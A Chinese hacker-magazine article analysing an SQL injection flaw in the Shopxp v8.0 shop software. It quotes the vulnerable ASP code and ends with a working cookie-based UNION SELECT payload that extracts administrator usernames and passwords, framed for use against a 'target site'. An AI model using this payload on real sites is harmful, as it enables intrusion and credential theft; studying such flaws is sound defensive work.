黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!
plant

设为首页
收藏本站
联系我们
网站导航

黑客文章 - 脚本漏洞 - 浏览 - Shopxp v8.0 SQL 注入漏洞

Shopxp v8.0 SQL 注入漏洞

黑客 发布日期:2010-2-5 1:30:13 共有 260 人次浏览
Shopxp v8.0 SQL 注入漏洞
My5t3ry  
最近帮朋友看一个站,发现用的是shopxp,就下了shopxp源码回来读了下,发现漏洞不少,下面一起来看看。这套系统使用了早期的枫叶防注系统,只过滤了GET,并且可以绕过,这里不谈绕过的问题了,我们看到  
xplistpl.asp 9-36行代码:  


<table width="100%" border="0" cellspacing="0" cellpadding="0">  
<tr>  
<td width="88%"><TABLE cellSpacing=0 cellPadding=0 width=100% align=center border=0>  
<TBODY>  
<TR>  
<td width="1" background="img_shopxp/xiao/bgbg.gif"></td>  
<TD class=b vAlign=top align=left><%if IsNumeric(request.QueryString("id"))=False then  
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")  
response.end  
end if  
dim id  
id=request.QueryString("id")  
if not isinteger(id) then  
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"  
end if%>  
<table width="100%" align="center" border="0" cellspacing="0" cellpadding="0" class="table-zuoyou" bordercolor="#CCCCCC">  
<tr>  
<td width="100%" valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="4" align="center">  
<%  
set rs=server.createobject("adodb.recordset")  
rs.open "select * from shopxp_product where shopxpptid="&request("id"),conn,1,3  
if rs.recordcount>0 then  
spmx=rs("shopxpptname")  
end if%>  
<tr>  
<td colspan="3" background="img_shopxp/class_bg.jpg" height=50>  <a href=index.asp><%=webname%></a> >> 商品评论:<%=spmx%></td>  
</tr>  
</table>  


上面这段代码存在逻辑漏洞哦,其中IsNumeric(request.QueryString("id"))=False 这句判断获取的id是否为数字,如果false则停止执行,  
但这里的id是通过request.QueryString获取的,如果我们不给id赋值会怎么样呢?同学们可以通过下面的代码来验证:  

<%  
if IsNumeric(request.QueryString("id"))=False then  
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")  
response.end  
end if  
response.write("my5t3ry")  
%>  


保存为test.asp,然后直接访问test.asp,看是否打印my5t3ry? 如果不用过request.QueryString给id赋值,  
而是通过,request.form或者request.cookies给id赋值是可以直接绕过他的判断的,代码不会停止执行,然后进入  
sql查询用的是request("id"),学过asp的同学都知道request通吃get,post,cookie的,到这里就成功bypass防注和IsNumeric函数的判断。  

exploit:  
用Firefox访问目标站,使用Firefox的插件noscript禁用该站javascript  
然后清空地址栏,输入:  
javascript:alert(document.cookie="id=" + escape("1 union select 1,cstr(adminid)&chr(124)&admin&chr(124)&password,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3 from shopxp_admin"));location.href="/xplistpl.asp";  

Ps:如果商品评论后面没有显示,多半是字段数步对造成的
本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处http://www.520hack.com/Article/Text1/news2/201002/17541.html
所属分类: 脚本漏洞     网摘收藏: Google 雅虎 百度 POCO 365key 和讯 天极
相关黑客文章